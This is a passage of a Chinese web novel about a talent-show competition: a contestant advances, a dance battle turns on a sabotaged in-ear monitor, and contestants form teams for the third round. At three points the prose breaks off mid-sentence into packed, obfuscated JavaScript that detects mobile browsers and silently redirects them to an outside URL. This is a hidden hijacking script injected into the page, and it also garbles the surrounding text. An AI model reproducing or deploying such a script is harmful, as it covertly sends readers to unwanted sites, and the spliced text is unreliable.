大河向东刘热情洋溢:“来,明星选手们,跟我们的观众打个招呼!” “哈喽大家好?”林见微和林波微步没什么底气地say hi。 都要淘汰了,还明什么星选手啊。 大河向东刘继续激情饱满地问:“你们之前的比赛怎么样?” 林见微和林波微步都像是吃了苦瓜,在满面愁容里硬挤出来了一丝笑容。 二人面面相觑,你看看我我看看你,谁也不想先回答这个问题。 最后,林波微步好不容易憋出来一句:“其实比得不怎……” 突然,林见微和林波微步的手机同时响了一声。 您有一封新的邮件。 林见微&林波微步:“!!!” 二人也顾不上正在录像,慌里慌张地低头翻出邮箱,指尖颤抖地点开第一条未读消息里刷新过的链接。 里面是重新打分后的最终排名。 页面跳转,页面加载…… 而后林波微步大叫一声:“啊!” 林见微、大河向东刘,还有不远处还在擦脸擦手的沈惊鸿和南瓜都吓了一跳。 只听林波微步又叫道:“晋级了!” 大河向东刘一脸喜色,眼睛刷地亮了,摄像机直直对着林波微步,口中唱道:“恭喜恭喜恭喜你呀,恭喜恭喜恭喜你!” 林波微步盯着手机屏足足十秒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16757225|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钟,手指上下滑动,食指拇指将屏幕放大又缩小,似乎是在反复确认什么。 许久后他才抬起头,对着摄像机长出一口气,坚定地点头:“晋级了,只不过不是我,是我的CP——” 说着他指向还在低头看手机的林见微:“她晋级了,第97名。” 大河向东刘高兴地嗷嗷叫,一把把镜头转向林见微:“恭喜我们香蕉平台的扬州大劈叉,成功晋级《星璨》!!!” 沈惊鸿和南瓜跨了几步过来,以迅雷不及掩耳之势从兜里变出一个简易礼花筒,对着空中砰地一声,五颜六色的礼花当中炸开,欢快地将一脸惊诧的林见微包围。 “恭喜恭喜恭喜你呀,恭喜恭喜恭喜你!”大河向东刘、沈惊鸿、南瓜齐声合唱,欢乐的声音响彻整个一楼大厅,所有人都好奇驻足,前台后面的保安也探究地侧目而来。 林见微也看到了自己的名次,没错,是97名,她可以参加下两轮的battle了,而且下一次的淘汰发生在两周后了。 但是林波微步依然在100名开外。 绚烂的礼花中,她终于从手机屏上抬起头,感动地看着这个自己虽然淘汰但因为她的晋级而开心的CP,林波微步。 大河向东刘的镜头精准地捕捉到了这一幕,缤纷夺目的礼花下,大波CP相视而笑,目光里都透着鼓励和欣喜,整个画面温暖感人,甜度爆表。 背景里,沈惊鸿和南瓜手捂在唇边,感动的泪水盈在眼眶,默默看着大波CP互相凝视。 这时林波微步突然意识到了什么,啊哟叫了一声,推着林见微往电梯口去:“快回去,听听下一轮的比赛规则!” 林见微也反应过来,赶紧跑去摁下电梯的上行键。 既然第一轮的结果已经出来了,第二轮的个人battle就要开始了。 虽然节目从早上开始已经录制了八个小时了,但如果不出意外,三轮的battle都要在今天录完。 所以接下来的安排是,选手和评委们稍事休息一下,开始第二轮的个人battle和第三轮的团队battle,顺利的话凌晨三点左右能录完。 大河向东刘的镜头跟了过来,后面追着沈惊鸿和南瓜的叫喊:“加油啊大劈叉!你是我们正义联盟的骄傲和荣光!” 叮的一声,电梯门打开,同时上行键亮起,一行人匆匆走了进去,林见微也快步跟上,踏进门的那一刻她回头,冲留在外面的小伙伴们做了个加油的手势: “我会努力的!” 一行人激动地朝她挥手,大河向东刘的镜头将一切记录下来,大门关闭,电梯上行。 很快,电梯来到10楼,林见微走下去,凭着记忆往找候场室找去。 然而刚走到一个拐角,迎面响起一个焦急催促的声音:“你去哪里了,快点过来!” 不用问,肯定是催流程的场控小姐姐,刚刚她下楼确实有点久,林见微满脸歉意地道:“来了来了!到哪一步了?” 问着的时候她才意识到,这个场控小姐姐就是吴央,刚刚硬着头皮,抱着必死的心去催时穆飞的那个。 吴央对林见微颇有好感,非常耐心地说:“第二轮battle已经开始了!邓舒华和李颂一已经掐起来了,快去看看!” 72.七十二 林见微立刻来了精神,脚步加快,心想:这我可得好好看看。 怀揣着看热闹不嫌事大的心态,林见微三步并作两步,一溜烟小跑回到了观战间。 过去的时候,邓舒华和李颂一都站上了舞台,火药味十足的目光在空中短兵相接,堪堪呲出火花,两人正放狠话。 邓舒华冲李颂一说:“我今天就让你看看什么才是真正的舞蹈!” 李颂一不甘示弱:“说反了,今天和以往一样,都是我教你!你看好了!” 白濯凑到林见微身前,解说道:“周老师刚刚宣布第二轮battle开始的时候,邓舒华立刻站起来,说要挑战李颂一。” “新的分数出来后,前十名的排名没有变化,李颂一还是第一,我是第二,邓舒华则排在第26。” “咱们会根据第一阶段的排名分为A, B, C, D四个班,前1-25名在A班,26-50名在B班,以此类推。” “邓舒华恰好在第26名,所以是B班的第一,但她的水平去B班实在屈才了,而且她和李颂一都来自乐盛,一个在A班做凤头,一个在B班做鸡头,搁谁谁心里也不平衡。” “所以第二轮battle一开始,邓就主动请缨,一定要和李颂一一决高下。” 林见微暗暗惊叹,第二轮一开始火药味就这么浓,节目效果肯定是有了。 她对邓舒华的境遇感同身受,确实,如果是她,她也受不了,肯定会去找A班人battle,证明自己的实力,夺回原本属于自己的位置。 眼看邓舒华和李颂一如仇人一般对视,主持人周落不得不上前站在二人中间,暂时阻断充满敌视的目光。 他解说道:“既然我们有两位选手选择要battle,那么我再给大家讲解一下第二轮个人battle的规则。” “第二轮比赛,大家可以任意找人battle,但机会只有一次,挑战者只要挑战了其他人,就不能再挑战,同理,被挑战的人既不能再找他人挑战,也不能再被人挑战。” “挑战的方式分为挑战唱歌和挑战舞蹈,而且由挑战者决定。如果挑战者选择挑战唱歌,那么被挑战者选择一首歌曲,两人先后演唱,由评委老师打分。如果选择挑战跳舞,流程一样。” “挑战的结果将决定暂时的分班情况,假设C班的人挑战B班的人,C班的挑战者赢的话直接进入B班,B班的输家则掉入C班;但如果没有挑战成功,两人评级不变。” “因为节目时间关系,我们个人挑战赛只开放三个小时,所以想改写命运的选手要抓紧机会。” “那么事不宜迟,我们的时间从此刻计时开始。第一组battle的选手中,邓舒华是挑战者,选择挑战舞蹈,李颂一指定的挑战曲目是《Diss me》。” 话音刚落,观战间里立刻喧哗一片。 众所周知,刚刚邓舒华个人表演的时候,选择的就是《Diss me》,而且惊艳四座,大受好评,评委们一致给出了8+的分数。 就连一向抠门的时穆飞都给她打了8分。 李颂一敢挑战邓舒华的拿手曲目,足以见得她是多么的艺高人胆大。 而且最重要的是,刚刚表演完毕后,邓舒华还邀请曲子的原作,周落,进行了一番堪称暧昧的双人舞。 虽然周落对于邓舒华突如其来的安排没有显露什么抗拒,但外行人看不出来,李颂一凭借自己对邓舒华和娱乐圈的了解,还是能看出些端倪。 周落是有些抗拒的,只不过不便当着众人面表现出来。 而且那突如其来的设定,肯定是邓舒华这个bitch为了蹭热度不择手段临场加的。 李颂一非要再造一波势,这居心…… 林见微不由得暗暗为邓舒华捏了把汗。 按照规则,由挑战者先行表演,所以周落和李颂一先下台,留邓舒华一人在舞台中央。 刚刚个人表演的时候,邓舒华是一身黑衣黑裤,头戴黑帽,在一片不详的血红色背景灯光下酷炫亮相的。 但现在,因为是舞蹈battle,一切从简,只有波谲云诡的伴奏乐从四周传来。 一片震得人耳膜疼的低音,每一个音符都透着不详,百鬼夜行,万魔狂舞。 舞台上灯光大亮,但即便如此,邓舒华还是以丰富的肢体语言和精准的面部表情,让人感受到歌曲传达出的那份不详和神秘。 金锣锵地一声利响,暗黑天空被金光撕碎,百鬼尖叫,四处冲荡,邓舒华的舞步也添了许多变化,她脚步细碎,但又乱中有序,非常完美地呈现了百鬼逃无可逃的恐怖局面。 虽然白天已经看过一次,但观战间的选手们还是被邓舒华的表演完全吸引住了,赞叹连连。 “我邓姐没穿演出服也是这么帅气!”“不愧是出道热门,比不过,比不过”“李颂一竟然敢挑战这支舞蹈?她得多有实力啊!” 导师们也在席位上频频点头,非常认可邓舒华的业务水平。 音乐完毕,邓舒华在一片掌声中优雅谢幕。 镜头适时切到李颂一,只见她面色阴沉,一脸不屑,双臂抱在身前,没有任何要为对手鼓掌的意思。 邓舒华正准备下台,周落快步走到台上,示意她留步,同时邀请李颂一上来。 二人隔着几米的距离,但目光对上的那一刻,空气里立刻弥漫起火药味。 周落先是冲邓舒华表达了恭喜:“还是一如既往的水准,非常稳,刚刚后台的选手们鼓掌欢呼声都快把屋顶掀翻了。” 而后又扭头,问李颂一:“怎么样,看完对手的表演,有没有什么想说的?” 周落把话筒递到李颂一唇边,她一把抓起话筒,毫不掩饰心中的不屑轻哼一声:“这算什么?我的表演更精彩,你们就瞧好吧。” 周落佩服道:“好,年轻选手就是要有霸气和野心,那么请开始你的表演。” 李颂一傲气地扬着下巴点头,周落示意邓舒华和他一起下场。 舞台留给李颂一,她先是对着邓舒华的背影做了个挑衅的手势,引得观战间里尖叫连连。 “天啊,颂姐也太霸气侧漏了”“虽然她这样做很不礼貌,但是却莫名有点帅怎么办?!”“颂姐就是性子太直,其他都挺好的。”“是啊,其实现实生活中我更愿意和颂姐做朋友,性子直总比藏着掖着要好啊。” 《Diss me》的音乐响起,乖觉不详的低音再次响彻整个比赛场地,观战间里的选手们纷纷站起跑到前排,紧紧盯着屏幕,不愿错过任何一个细节。 镜头里,李颂一正对观众,跨部重心所在的右腿绷直,左腿向外打开,双手叉腰,下巴向下收紧,脸上一副唯我独尊的阴冷霸气神情。 众人纷纷尖叫——“这也太帅了叭!”“她是女版秦始皇吧,脸上写满了一统六国的野心和威武”“姐姐杀我,收了我吧!!” 一个开场,两人风格差异立现,邓舒华走的是神秘黑暗风,而李颂一走的则是唯我独尊的霸气风,但共同特点是,都帅到爆炸! 然而正当万众期待的时候,镜头里的李颂一好像哪里不对。 她的开场pose好像摆得时间太长了些,音乐都往下走了十几节了,她还定在台中央。 而且她的表情也从阴冷霸气逐渐变成了疑惑愤怒,手指不停地摁着耳返。 观战间里的选手们顿时议论纷纷:“怎么回事,颂姐怎么不跳下去?”“不知道啊,是不是音乐有什么问题?”“可能是底下的场控让她等一会儿?”“是不是耳返出了问题?” 本来这一轮的battle并不需要耳返,因为毕竟不是容纳几百几千观众的大录制厅,台下只有四位评委和一些节目组工作人员,而且单比赛跳舞或者单比赛唱歌并不需要用到耳返。 但李颂一经常要去动辄有几百观众的场合商演,所以习惯戴着耳返,这次比赛也遵循了惯例。 但她的耳返不知为什么出了问题,一直沙沙响,没有任何音乐。 而那沙沙声又挡住了现场的音乐声,李颂一几乎听不见任何伴奏。 她在台中央站立了整整十几秒,脑子里转过无数念头,最后终于将耳返往外一摘,跟着现场音乐跳了起来。 然而刚开始的不顺和满脑子的思绪打乱了她的节奏,她进动作的时候慢了半拍,后来整整十几秒都没有踩在节奏上。 评委们也明白了她是耳返出了问题,但后面的一段表演 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音乐停止,李颂一灰头土脸地站着舞台中央,聚光灯沉甸甸地从四面八方压在脸上,每一盏都燃着火热的光,她后背早已被汗湿,额头也凝着汗珠。 台下给她递过来话筒,但她大脑一片空白地目视前方,台下的人挥了几次她都没看见,还是尤有芒提醒之下她才慌忙接过话筒。 导师点评环节,季清云问她是不是耳麦没有声音,李颂一立刻像抓住救命稻草一样,拼命点头,抱怨道:“我也不知道为什么!评委老师们,我能不能重新再跳一次?” 时穆飞的脸色立刻变得更加阴沉,他不客气地说:“那怎么行?我们介绍规则的时候就说了,一切都是一锤定音,机会只有一次!” 李颂一不满地说:“可是是设备出了问题,这是意外情况,是不可抗拒因素……” 时穆飞不耐地打断:“你是表演者,有责任有义务在上场前仔细检查佩戴的设备是否工作,你没有做好准备工作,还要在这里耽误所有人时间,让大家包容你的不细心?” 李颂一焦急万分,执意要重比:“可是刚刚没有展现我真正的实力,这个比赛结果,我不服!” 时穆飞还想说什么,一旁周落快步上台,安慰地说:“颂一,其实你已经证明过你的实力了,第一轮比赛的时候,你是当之无愧的第一名,你忘了?” “这只是第二轮的battle,刚刚的表现只能证明,你还有缺陷需要改正,你把这次的失误当做一次经验教训,下次上场前就知道要再三检查设备,杜绝这种情况的发生。” “现在打分结果已经出来了,邓舒华赢得了本场比赛,所以她升到A班,你要暂时去B班。” “你还有一次机会,我们第三轮比赛见。” 周落的话说得温暖有力,但语气里又藏着强硬和不容拒绝。 李颂一听明白了他的意思,也知道他确实说过,整场比赛限时三个小时,她如果一味拖延下去,最后只会引起众怒。 带着千万般不甘心和一麻袋的不服气,李颂一也只好服从安排,灰心丧气地拖着脚步走到台下。 回去观战间的一路上,她将上场前的细节反反复复想了几遍。 戴上耳返的时候,她确实检查过,当时设备显示一切正常,边缘轮廓上有个小绿灯一直亮着。 但是现在她拿下耳返才发现,小绿灯变成了小红灯,这说明设备出了故障。 这中间,究竟发生了什么? 李颂一皱紧眉头走在后台的一片黑暗中,突然,脑子里划过一道闪电,照亮了整个脑海: 上场前,邓舒华曾经和她“不小心”撞在一起,当时李颂一还直接破口大骂说她没长眼睛。 撞击的那一瞬,李颂一的耳麦变松了,事后她还特意重新佩戴了一下,但当时完全没在意外轮廓上的那个小灯。 一切都说的通,怒火在李颂一体内熊熊燃起,她加快脚步,恨不得立刻飞到观战间,在心里将邓舒华骂了无数遍。 回到观战间,她直接砰地撞开大门,在数道惊异的目光下,她三步并作两步走到邓舒华身前,一把揪住她衣领! 73.七十三 全场惊叫一片,众人仿佛看到了社会大姐大教训人的场景,邓舒华呵呵冷笑,高声质问道:“怎么,输不起啊?” 李颂一索性将耳麦摘下,一把砸在她脸上,大骂道:“你玩阴的啊?!” 李颂一手劲颇大,邓舒额头上立刻鼓起个红色印子,众人惊叫着想把二人拉开,邓舒华嘴角向下,继续冷笑道:“你什么意思?自己没检查好耳返,还要栽赃到我头上?” 李颂一怒火中烧,手里又加了几分力:“你自己做的好事你自己心里清楚!是你故意陷害我!” 白濯冲过来,为邓舒华助阵道:“你有什么证据证明是邓舒华陷害你?” 李颂一一时语塞,她能有什么证据,当时后台黑灯瞎火的,二人相撞时又没有摄像机跟拍,她当然没法证明是邓舒华故意使坏。 白濯抓住空当立刻道:“所以你没有证据,只是空口无凭!” 唐筱年立刻附和道:“你既然没有证据,那就是栽赃陷害!现在还使用武力,不是输不起是什么啊?” 周围人立刻被带节奏,纷纷议论道:“就是,自己失误输了,还在这里找借口”“赶紧告诉节目组,让他们过来评评理”“没有证据,在这里横什么啊!” 李颂一没有想到自己会被众人围攻,心里的怒火愈烧愈旺,混着各种不甘和愤懑,恨不得仰天长叹: 苍天无眼啊,让小人猖狂得志! 这时节目组的场控小姐姐吴央带着几名保安浩浩荡荡跑进来,众人齐力将李颂一和邓舒华拉开。 邓舒华胸前衣服皱皱巴巴的,额头上的红印也高高凸起,但她脸上一副胜利者笑容,仰着头看着被保安拉住的李颂一,嘲讽笑道: “输不起就不要参加比赛,做艺先做人!” 李颂一用力地“呸”了几声,吐沫星子横飞,不少劝架群众无故遭殃,几名保安见状,立刻拉扯着将她往屋外拖。 李颂一力气再大,还是抵不过几名壮年男性,她又踢又踹地被拉到外面,尖叫声响彻整个走廊。 闹剧过后,观战间里过了许久才平静下来,闹剧的余威太大,以至于众人反应过来的时候,三组人的battle已经进行完了。 刚刚排在B班的杜之江被一个C班的选手挑战,但她成功守住了位置,仍然在B班。 排在C班的钱雯被一个D班的选手挑战,也守位成功。 后面又有几组人上台battle,有人守擂成功,有人大意失败,几家欢喜几家愁,林见微正看得起劲,突然有个人过来,欣喜叫了一声:“大劈叉,好消息!” 林见微一惊,抬头发现钱雯站在面前,正弯腰笑眯眯地看着她,两个眼睛弯成月牙。 迎着她惊异询问的目光,钱雯笑着把手机推到她脸前:“你看!” 钱雯的手机屏上是她香蕉平台的账号,头像是那个熟悉的劈着叉的Q版小人,下面的粉丝数后面缀着一个数字加一个字母:1w。 林见微:!!上次看的时候,她的粉丝数还只有5千多一点呢。 她抬起头:“哇,最近我没直播,怎么粉丝数翻了一番?” 钱雯:“你想啊,你先参加了群蕉荟萃,又因为大波CP小火了好一阵子,之后你们一起来《星璨》,还被拍了视频……” 林见微:“视频?什么视频?” 钱雯瞪大眼睛:“你不知道吗?大河向东刘拍的你和波波查看晋级情况的视频,30分钟前上传的,现在香蕉平台上都转疯了。” 林见微:“???大河向东刘的效率这么高吗??” 钱雯在手机上点了几下,推到她面前:“你自己看。” 林见微半信半疑地接过手机,上面是一个热搜词条:#大波CP星璨结果 爆 后面还缀着几个强相关词条:#波波发现自己淘汰同时发现CP晋级 #波波也太暖心了叭! #能不能也派给我一个波波这样的男友? #波波和劈叉CP甜度爆表的五个瞬间 #爱她就是真心为她的强大感到骄傲 林见微:“……” 她真是低估了大河向东刘的粉丝基础和剪视频的速度。 也低估了互联网磕CP的热情和疯狂。 她随便点开了几个词条,满屏都是精心剪辑的视频,她和林波微步“暖心”互动的瞬间四处飘飞: 在群蕉荟萃比赛时,她放空看向一个地方,但林波微步恰好在视线的方向,所以从远处看上去,二人好像在“深情”对视。 有人直接搬运大河向东刘的视频,把礼花绽放时林波微步恭喜她晋级的瞬间反复回放,底下清一色的评论:[磕死我了!][请原地结婚!] 看着林见微惊异得合不拢嘴,钱雯哈哈笑道:“出名的感觉怎么样?“ 林见微频频咋舌:“不可思议。” 钱雯:“但是,其实你没抓住重点。” 林见微:“??还有更劲爆的??” 钱雯再次哈哈大笑,把手机屏幕重新划到大劈叉的主页:“你再仔细看看?” 林见微瞪大眼睛,目光如探视灯一样将角角落落仔细扫遍,最后在一个叫做“留言板“的板块那里发现端倪。 留言板的右上角有一个新鲜的红点。 上一次查看的时候,那个红点并不存在。 这说明有人给她留过言。 林见微瞳孔急剧放大,脑子里迅速闪过一个让她肾上腺素飙升的念头: 她的直播账号,解封了?? 激动的心,颤抖的手,她点开留言板。 接下来的景象让她心脏差点漏跳一拍:留言板上密密麻麻列满了评论,而且时间戳都显示为今天。 留言板和私信不一样,直播账号封禁的时候,她仍可以收私信回消息,但留言板是全网公开的,所以账号封禁期间不允许使用。 如果留言板开放了,那说明她的账号真的被放出来了。 评论区和她此时的心情一样澎湃起伏: [这是真的吗?我竟然可以在这里留言??] [传闻是真的,大劈叉真的被解封了] [大劈叉被放出来了??天啊发生了什么??] [我只想知道一件事情!!高屎高屎高屎] [+10086,求更新高屎的消息,他进去了吗??] [有哪位预言家大神能解释一下现在的情况啊啊啊啊] [这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16767944|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种擦|边女都能洗白,服了] [这主播就是混流量的,为什么解封?赶紧再关起来] [楼上酸什么呢,大劈叉造福女性反抗权威,这样利国利民的主播请给我来一打好吗] [支持大劈叉回归,坐等开播] [姐姐我为了支持你,上个月买了五十多瓶舒氧酸奶[笑哭]早一瓶晚一瓶] 林见微目不暇接地一条接一条读下去,但阅读的速度根本撵不上评论更新的速度,刚读完第一页准备翻页,页面显示刷新中,几秒钟后提示:本页面有18条新评论。 她用快捷键划到最顶端,最新的评论也是类似风格,有关心她安危的,有问高翔近况的,有嘲讽她又回来圈钱圈流量的。 看着她手忙脚乱的样子,钱雯咯咯笑道:“惊不惊喜,意不意外?” 林见微连连又点头又摇头,样子有些痴傻:“不可思议,太不可思议了。” 还在忙着阅读最新评论,手机突然晃了一下,一旁有个人叫了钱雯一声。 钱雯回头,只见杜之江神神秘秘地跑过来,看着她又看看林见微,一副欲言又止的样子。 钱雯会意,歉意地收起手机对林见微说:“不好意思啊,我和杜杜说点事情。” 林见微惊醒一般地说:“没事,快去,我用自己手机看就行。” 钱雯和杜之江一前一后快速离开,林见微低头掏手机,这时身旁冷不丁又有一个人说话: “也不知道她们去密谋什么。” 林见微又是一惊,猛然抬起头才发现邓舒华不知什么时候已经坐过来了。 看样子,她在这里好一会儿了。 林见微拍了拍脑袋,心想:待机九个多小时,几乎没吃没喝没睡,脑子都不好使了,身边什么时候多个人都不知道。 邓舒华看出了她的尴尬,安慰笑道:“刚刚看你看得投入,没敢打扰。” 既而看着走到一旁角落叽叽咕咕说话的钱雯和杜之江,意味深长地问:“你……和钱雯很熟?” 林见微听出这背后似乎有些弦外之音,立刻问道:“我们是同一个平台的主播,所以之前有些交集,怎么了?” 邓舒华摇头:“没怎么,就是……”说着她微微皱眉,似乎有什么话很难启齿,最后还是道:“她两年前只是一介新人主播,可是短短两年就笼了五万多粉,而且还签约了行业的龙头之一,新锐。” “新锐又是乐盛的老冤家,马上要开始第三轮团队battle了,现在她们集结起来,我有种不祥的预感。” 林见微这才惊觉,转眼间三个小时已经过去,第二轮的个人battle全部结束,第三轮的battle马上开始。 “你担心新锐的人联起手来对付你?”林见微问道。 邓舒华点头:“而且不仅如此,乐盛现在就剩我一个了,如果新锐铁了心要在第三轮battle给乐盛下马威,我还真不知道该怎么接。” 林见微轻笑:“要不是我在D班,说不定还能过去帮你。” 邓舒华想了想,突然眼睛一亮握着她的手:“其实咱俩均分不低的,如果我们能平均到B级,再找两个都是A级的人PK,赢的话,你就可以升级了!” 74.七十四 林见微其实还没搞清第三轮的规则,之前只是听说可以自由组队,人数一样的队伍可以互相PK,但至于怎么算均分,输赢之后怎么调整评级,林见微还是一知半解。 正好这个时候周落走到台上,告知大家第三轮battle将在三十分钟之后开始,现在是自由组队和排兵布阵的时间,希望大家好好把握机会,排名低的选手可以趁机逆风翻盘。 为了方便观众理解,周落又详细解释了一下规则。 第三轮battle是团队战,设置此挑战的目的是为了增进大家的合作能力。 晋级的选手可以自由组成2-6人的团队,鉴于最后是三男三女成团,节目组鼓励大家平衡组合里的男女数量,但不强制要求。 如果互相PK的两队的选手都分别来自同一评级,比如来自C组的三个人挑战来自A组的三个人,如果挑战成功,C组人将全部进入A组,而输掉PK的A组人将全部掉入C组。 如果C组人挑战失败,那么六个人的评级都不变。 如果PK的挑战方来自不同分组,那么求取平均分,平均分落在哪个评级,整组人就暂时属于哪个评级。 比如,如果来自B组、C组的两个人要挑战另外两个来自B组、C组的人,求取平均分后,挑战者落在C组,被挑战者落在B组,那么如果挑战成功,两个挑战者都可以获得B分评级,失败的被挑战者都变成C分评级。 刚刚邓舒华的想法是,她在第二轮battle的时候挑战A组的李颂一成功,自动获得A组的平均分作为自己的新分数。 把她的新分数和林见微的分数加总再求平均数,得到的分数将落在B组后段位。 如果她们找两个A组的人PK,赢的话林见微就可以自动升到B组,而A组分数低的那个人要去D班。 输的话也不碍事,大家评级保持不变,邓舒华还在A班。 林见微听完规则仔细一想,确实不错,如果她能和邓舒华组队,又恰好有两个A班的人组队应战,确实是一笔稳赚不赔的买卖。 不过规则确实有些绕,许多选手很长时间都没搞明白怎么回事,稀里糊涂地凭感觉组了队,又稀里糊涂地接了PK。 一时间观战间里热火朝天,大家呼朋引伴,三五成群,还有人满场飞下战书,林见微和邓舒华站在一起,密切地注视着来自新锐的杜之江和钱雯的动态。 其实杜之江和钱雯并没有像邓舒华担忧的那样,结伙来找她下战书,反之,她们组队后竟直奔来自曜石的白濯和唐筱年。 邓舒华先是松了一口气,但转瞬又皱眉担忧道:“她们怎么去挑战曜石了?曜石这两年势头这么猛?” 林见微上辈子拍戏的时候,乐盛和新锐就已经掐起来了,当时她也听说过曜石,模糊知道这是一个新崛起的娱乐影视公司,但多的就不了解了。 毕竟当时当牛马当得太勤恳,一心全扑在演戏里,完全没管外面的风浪。 所以现在她对曜石还是很陌生。 邓舒华适时科普道:“曜石是个非常年轻的公司,据说从CEO到公司小行助,平均年龄也就35岁左右。领导层都是从其他娱乐公司跳槽过来的,所以虽然七八年前才成立,但发展势头非常猛,最近一两年爆了好几部剧,一下子成了市场香饽饽。” “不过他们根基不深,签的演员也都是二线的,唱跳也是作为副业发展的,乐盛之前还专门开会研讨过,当时得出的结论是曜石暂时不足为虑。” “可是如果真是这样,新锐为什么要瞄着他们打?” 林见微思忖着说:“也许……她们想找软柿子捏?” 邓舒华笑了一下,知道林见微暗里抬了她和乐盛一手,曜石是软柿子,那么乐盛就是硬骨头,难啃,所以新锐不敢过来下战书。 邓舒华悄悄捏了捏林见微手心:“咱们静观其变。” 这时只听白濯一阵爽朗笑声:“当然可以,那咱们就切磋切磋!一会儿赛场上见!” 杜之江和钱雯下了战书,确认白濯和唐筱年会应战后,就一边商量一边往一旁走去。 不过她们商量得太认真,没意识到林见微和邓舒华就站在距离她们不远的地方,所以她们的战略被听去了七七八八。 钱雯:“咱们就按之前说的做,白濯和唐筱年走的是硬朗路线,咱们就走柔美风格,正好有反差,节目效果也好。” 杜之江:“你说的有道理,那咱们不如就跳你刚刚参赛的那个采茶舞,现在赶紧改编一下,加点动作。” 钱雯:“两个人跳又是另一番感觉,好,希望到时候能让评委老师们眼前一亮……” 两个人商量得如火如荼,突然被一道低沉男音打断: “你好,请问……请问我能冒昧地加入你们吗?” 杜之江和钱雯同时惊讶抬头,只见五夜音符的队长,宫,正略带局促地站在二人面前。 修长优越的身形,宽阔的肩线,一米八大长腿,光是背影就足以令人惊叹。 深褐色的眸子里目光如玻璃般易碎,骨节分明的修长手指局促地绞在一起,宫无比认真又无比小心翼翼地看着杜之江和钱雯。 二人迅速丢盔卸甲,直呼难以招架。 这样帅的小哥哥,竟然这么低三下四,太令人难以拒绝了叭! 杜之江和钱雯互相看了一眼,立刻达成共识。 杜之江立刻道:“可以,来吧!加入我们的战队!我们正好没有男生。” 宫喜出望外,他本来是报着试一试的态度,没想到两人真的答应了。 其实五夜音符本来想聚在一起打PK的,但无奈场地里五人团实在不多,又都不敢和五夜音符打,所以几人只能拆团。 宫作为队长,肩负着为团队增加曝光度和谋划未来发展的艰巨使命,所以他当仁不让,在其他队员休息的时候主动提出出去和其他选手成团,给五夜音符增加镜头。 他看来看去,场上三人团和四人团占多数,所以看杜之江和钱雯只有两个人,便报着一线希望过来主动求加入。 没想到她们这么痛快地答应了。 但是这样一来,她们想PK的白濯和唐筱年就少了一个人。 三人团不能PK两人团,于是杜之江和钱雯拉着宫急匆匆跑到已经开始排舞的白濯和唐筱年面前,解释了一下。 白濯和唐筱年对看一眼,很快就达成共识:那就再找一个人入伙呗。 可是放眼望去,有心battle的人早就组好战队,无心battle的人则趁机去角落里睡大觉,哪里有落单的选手? 杜之江和钱雯比他们还急,来之前公司确实给她们下了任务,为了公司发展以及节目效果,只要有机会就和业内其他公司的选手PK切磋,没有机会也要创造机会。 如果李颂一还在,如果李颂一和邓舒华不是那种针尖对麦芒的架势,杜之江和钱雯首选肯定是找乐盛battle。 但是,现在李颂一没戏了,所以她们看来看去,只能选择曜石打PK。 不过想到这里,钱雯突然意识到什么,拉着白濯衣袖,指着前方说:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16774375|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们要不问问邓舒华愿不愿意加入?” 大家一下子明白了她的意思,如果新锐PK赢了乐盛和曜石组成的战队,相当于一石二鸟,显得新锐更厉害,回去好交差。 不过白濯却皱了皱眉头,在唐筱年耳边低语了几句。 唐筱年也呈沉思状,沉默了半晌,对白濯耳语几句。 二人商量了一分钟左右,终于白濯甩下一句“那我过去问问”,便大步朝邓舒华走去。 不过出人意料的是,当白濯走过来时,视线直接越过邓舒华,落在一旁的林见微身上。 而后她微笑着友好地伸出手:“大劈叉,第三轮battle要不要加入我们的战队?” 话音未落,林见微和邓舒华都惊了一下,不可思议地看着白濯伸出来的手。 林见微眼睛瞬间变成O形,心想:完了,录节目录太久果然伤身子,刚刚竟然耳背了。 可是白濯的手确实是伸在她面前的……完了完了,难道眼睛也坏掉了?? 确认了好几次,林见微终于艰难问道:“你……你在邀请我?” 白濯被她的反应逗笑,哈哈笑道:“对啊,怎么,不愿意啊?” 林见微连忙摆手:“不是,可是你,你知道我的名次吗?” 白濯大大方方道:“倒数第四名啊,暂时在D班。” 林见微更惊讶了:“姐姐,你既然知道,还敢来找我?不怕我拉低你们平均评级和水平啊?” 白濯潇洒地甩甩短发:“害!随便打着玩嘛,怕什么。” 林见微迅速在心里做了计算,因为白濯和唐筱年的分数实在太高,都在前十,她们三个如果组队,平均分算下来甚至能排到A班末位段。 感谢节目组指定规则的时候用的是平均分,A班前十位的分数确实显著地高于其他选手,第一名和第十一名差了将近2分。 而C班、D班的分数比较集中,C班第一名和D班第一名也就差了0.6分,所以即使是D班吊车尾的分数也没有特别低。 所以如果D班的林见微和A班的白濯、唐筱年组队,三人的平均评级竟然还是A。 